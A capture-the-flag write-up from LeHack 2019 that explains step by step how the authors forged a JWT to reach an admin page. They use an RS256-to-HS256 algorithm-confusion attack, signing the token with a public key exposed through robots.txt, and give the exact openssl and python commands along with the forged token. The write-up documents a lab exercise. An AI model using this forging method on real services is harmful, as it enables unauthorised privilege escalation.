Write up – JRR Token – LeHack 2019

The chall started with a basic webpage containing various users (address, email and telephone number) and an admin link in the navbar.

When we clicked on the admin link, we got redirected to /admin.php that says that we’re not admin.

First examination on the page was cookies and app session because due to the challenge name, it was obvious that we were dealing with JWT token and BINGO, a JWT token was generated at home page load and stored into cookie “Token”.

Token looked like this:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjAifQ.F_VOL7yQ427BSuZC9lY1u5Jg14b36_9od1majctyQDP8gGerGgLtnYuvaMiMMjpSIdVUm4fr6bvqLOs36P8lctd2aY1EPfcwXwE4QRKJv86Yfwc36X4TzgAi2AGdYf4azvpIzl0bI18QZZe7W3WbYdKAu7XFnBpF6RXcCo9dM5PWYpi9Vt6ftHFuOMf7E3TtnXPERlXYjWbIePx5cWIVoQFWnf1ruw-gLFrqV_-fh5J_7Ftnwiw5h7AEvRRganJ0lY6cw5tJStdciFi3bhsYV1YEXtR-6306qR0cuSQLtFEDxX_2r7t7WPg6wEwZqzHtj0NdxYF99Lw4-UXAGPCpfEyZTNoE2RXjtwqbF427Cidpq0D3cbIpeDB4LMIJTbkdMoRWWvBOCRv8c6EY5JOoDLE2C28mEgo21iz-ybUktMJK677RwZByiRYzsFaFtqDoJG5AyAf48F-rjDZRuah8AazLWP3vcU7m7YIPpCu7TODBQuhYIwRMgbpmoZpy4nWNYYoxF9XYajHi1swPPTJbYNzXyomCqjeRfY6m8NNWTb6Z28r-msBlWVFXuLMfADhAmPL3HVOtgb8jFl07U0MpjmYPm_JrCeHN_9RvG2ZRhxSppad-hiOxAj5RdDa3ZzfCytD9O5PUbJmX5TT49UGRGDBw5Y9PdMNaRCPy-qk1acA

JWT can be split in 3 parts : Header, Payload and Signature
JWT.io allows to decode easily a token, here the result

Based on this fact, it was pretty obvious that we needed to change the property role in the payload by “1” or “true”, however we can’t easily change because JWTs are signed to prevent users from changing the data within.

We remembered there was an exploit that allows a token to be validated when changing “alg” to “None”, but it didn’t worked here.
So we googled to dig deeper and find out that if you change the algorithm from RS256 to HS256, the backend code uses a public key as the secret key and then uses the HS256 algorithm to verify the signature, so from this we only needed to find the public key and regenerate a token.

We tried to get the public key from the HTTPS certificate, but LeHack admin told us it wasn’t the good public key.
Then we found robots.txt file that indicate us that a folder named /public was on server, and BINGO /public/key.pem we found our public key.

At this point, it was pretty straightforward. Here how to regenerate the token :
– In JWT.io, change RS256 to HS256, remove signature part and change role property to 1 then store this string we’ll use it later

– Convert our public key (key.pem) into HEX with this command : cat key.pem | xxd -p | tr -d "\\n" that gave us this string : 2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d466b77457759484b6f5a497a6a3043415159494b6f5a497a6a30444151634451674145314f754d2f755a774d35436e2b767445312b2f6b4772593967754b650a39536c5731367732346c345a4f4230385a3853666a50763774794b34504565394c6b79324e374f4373474e3664503952477359787a6b2b7648673d3d0a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

– Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited :
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d466b77457759484b6f5a497a6a3043415159494b6f5a497a6a30444151634451674145314f754d2f755a774d35436e2b767445312b2f6b4772593967754b650a39536c5731367732346c345a4f4230385a3853666a50763774794b34504565394c6b79324e374f4373474e3664503952477359787a6b2b7648673d3d0a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

So our HMAC signature is : 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0

– Next step is to turn this ASCII hex signature to JWT format : python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"

This output is our signature : j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA

– Finally, we only need to append this signature to our token previously edited with a dot, then voilà our token is regenerated with our property role set to admin.
JWT token regenerated :
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA

– Back to this website, go the home page, change the token cookie value by this new token, go to admin page and bingo the flag..Wait it’s not working..
– Last step was to convert the string given in the admin page in base64, and here we go we can validate the flag.

Challenge was validated at 6:28AM, 2 minutes from the end !

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.